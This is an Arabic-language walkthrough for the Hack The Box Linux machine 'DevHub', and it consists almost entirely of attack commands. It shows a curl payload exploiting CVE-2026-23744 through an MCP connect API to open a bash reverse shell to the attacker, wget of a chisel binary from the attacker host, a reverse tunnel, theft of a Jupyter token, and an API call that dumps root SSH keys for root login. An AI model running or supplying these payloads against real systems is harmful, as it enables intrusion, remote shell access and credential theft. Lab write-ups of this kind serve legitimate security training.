
Hack The Box - دليل اختراق جهاز DevHub (لينكس متوسط الصعوبة، CVE-2026-23744، نفق Chisel، Jupyter، تصعيد الصلاحيات إلى الجذر)
الجهاز: DevHub
الصعوبة: Medium
نظام التشغيل: Linux
المواضيع: CVE-2026-23744, Chisel Tunneling, Jupyter, Flask API, تصعيد صلاحيات الجذر
nmap -sC -sV devhub.htb
النتيجة:
📌 2. تعديل ملف المضيفين
echo "10.x.x.x devhub.htb" >> /etc/hosts
📌 3. استكشاف الموقع
📌 4. شل عكسية كمستخدم mcp-dev
المحطة 1 – المستمع:
nc -lvnp 4444
المحطة 2 – الحمولة:
curl -X POST http://devhub.htb:6274/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/10.x.x.x/4444 0>&1"],"env":{}},"serverId":"mytest"}'
✅ شل كمستخدم mcp-dev
📌 5. إعداد نفق Chisel
خادم HTTP (المهاجم):
python3 -m http.server 8000 --bind 10.x.x.x
تنزيل Chisel على الهدف (شل mcp-dev):
cd /tmp
wget http://10.x.x.x:8000/chisel
chmod +x chisel
خادم Chisel (المهاجم):
./chisel server --reverse --port 9001
عميل Chisel (شل mcp-dev):
./chisel client 10.x.x.x:9001 R:8888:127.0.0.1:8888 &
📌 6. الوصول إلى Jupyter
استخراج الرمز (شل mcp-dev):
ps aux | grep jupyter | grep -v grep
الرمز: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2xxxxxxxxxx
المتصفح: http://localhost:8888/?token=...
📌 7. الحصول على مفتاح SSH للجذر (في Jupyter)
import requests, json
url = "http://127.0.0.1:5000/tools/call"
headers = {"X-API-Key": "opsmcp_secret_key_4f5a6b7xxxxxxxxx", "Content-Type": "application/json"}
payload = {"name": "ops._admin_dump", "args": {"target": "ssh_keys", "confirm": True}}
response = requests.post(url, headers=headers, json=payload)
print(json.dumps(response.json(), indent=2))
📌 8. تسجيل الدخول كجذر
nano root_key
# أضف المفتاح
chmod 600 root_key
ssh -i root_key [email protected]
📌 9. الأعلام
cat /root/root.txt
cat /home/analyst/user.txt
علم الجذر:
08be4cfb68597d0f9edfccxxxxxxxxxx
بالتوفيق! 🚀